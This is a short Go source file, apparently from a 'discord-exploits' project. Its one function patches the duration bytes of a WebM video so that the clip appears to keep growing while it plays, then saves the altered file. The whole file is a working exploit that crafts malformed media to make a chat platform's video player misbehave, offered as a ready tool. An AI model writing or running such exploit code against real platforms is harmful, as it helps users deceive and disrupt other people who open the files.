package exploits import ( "bytes" "fmt" "github.com/Schmenn/discord-exploits/modules" "os" ) // RunExpandingVideoTask edits file so that it keeps expanding while it's getting played func RunExpandingVideoTask(fileName string) { data, err := os.ReadFile(fileName) modules.Check(err) index := bytes.Index(data, []byte("\x44\x89\x88")) if index == -1 { fmt.Println("could not find the part of the file that needs to be modified, exiting") return } data[index+3] = 63 data[index+4] = 240 data[index+5] = 0 data[index+6] = 0 data[index+7] = 0 data[index+8] = 0 data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") fmt.Println("Saved video to: " + name) err = os.WriteFile(name, data, os.FileMode(0777)) if err != nil { panic(err) } }